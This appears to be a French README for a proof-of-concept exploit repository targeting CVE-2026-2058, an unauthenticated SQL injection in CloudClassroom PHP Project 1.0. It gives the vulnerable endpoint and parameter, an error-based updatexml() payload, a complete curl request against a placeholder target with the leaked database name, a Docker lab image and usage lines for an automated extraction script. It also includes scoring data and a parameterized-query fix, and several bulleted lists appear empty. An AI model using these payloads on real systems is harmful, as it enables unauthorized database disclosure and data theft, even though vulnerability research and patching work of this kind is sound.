
Preuve de concept d'exploitation pour CVE-2026-2058, une injection SQL dans le projet PHP CloudClassroom, avec énumération automatisée de la base de données et extraction de données.
Une vulnérabilité d'injection SQL existe dans la fonctionnalité Post Query du projet PHP CloudClassroom (v1.0).
La vulnérabilité permet aux attaquants d'injecter des commandes SQL arbitraires via le paramètre POST squeryx, conduisant à l'énumération de la base de données et à l'extraction de données.
Ce dépôt contient un Proof of Concept (PoC) démontrant comment la vulnérabilité peut être exploitée pour extraire des données sensibles de la base de données backend.
| Champ | Valeur |
|---|
| CVE | CVE-2026-2058 |
| Type de vulnérabilité | Injection SQL |
| CWE | CWE-89 |
| Logiciel concerné | Projet PHP CloudClassroom |
| Version concernée | 1.0 |
| Composant | Fonctionnalité Post Query |
| Vecteur d'attaque | À distance |
| Authentification requise | Non |
| Impact | Divulgation de la base de données |
| Sévérité | Élevée |
| Référence du modèle d'attaque | CAPEC-66 |
POST /postquerypublic
squeryx
Le code backend concatène directement l'entrée utilisateur dans une requête SQL sans assainissement approprié ni requêtes paramétrées.
Exemple de code vulnérable :
$sql = "INSERT INTO query(Query, Eid) VALUES ('$tempsquery','$tempseid')";
Étant donné que $tempsquery est dérivé de l'entrée utilisateur, les attaquants peuvent injecter du SQL arbitraire.
À des fins de test et de recherche, un environnement Docker vulnérable est disponible.
docker run -d --name cloudclassroom-lab -p 9292:80 bladscan/cloudclassroom-sqli:1.0
La vulnérabilité peut être déclenchée à l'aide d'une technique d'injection SQL basée sur les erreurs exploitant la fonction updatexml() de MySQL.
Exemple de charge utile :
a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1
Exemple de requête curl :
curl -X POST http://TARGET/postquerypublic \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "gnamex=test" \
--data-urlencode "[email protected]" \
--data-urlencode "squeryx=a' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) AND '1'='1" \
--data-urlencode "update=Post Query!"
Réponse attendue :
XPATH syntax error: '~cc_db~'
Ce dépôt inclut un script d'exploitation bash qui automatise :
chmod +x cloudclassroom_sqli_exploit.sh
./cloudclassroom_sqli_exploit.sh http://TARGET/postquerypublic
Exemple :
./cloudclassroom_sqli_exploit.sh http://192.168.1.10/postquerypublic
Un attaquant peut :
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L⚠️ Remarque : Le score CVSS de la NVD diffère du score CNA (VulDB) en raison d'évaluations d'impact différentes.
Le système de prédiction de score d'exploitation (EPSS) estime la probabilité qu'une vulnérabilité soit exploitée dans la nature.
| CVE | Probabilité EPSS | Percentile | Date |
|---|---|---|---|
| CVE-2026-2058 | 0.00028 | 7.62 % | 2026-03-01 |
Source : Ensemble de données FIRST EPSS
Les développeurs devraient :
Exemple d'implémentation sécurisée :
$stmt = $conn->prepare("INSERT INTO query(Query, Eid) VALUES (?, ?)");
$stmt->bind_param("ss", $tempsquery, $tempseid);
$stmt->execute();


Cet exploit est fourni uniquement à des fins éducatives et de recherche.
L'auteur n'est pas responsable de l'utilisation abusive ou des dommages causés par ce code.
bl4dsc4n
Chercheur en sécurité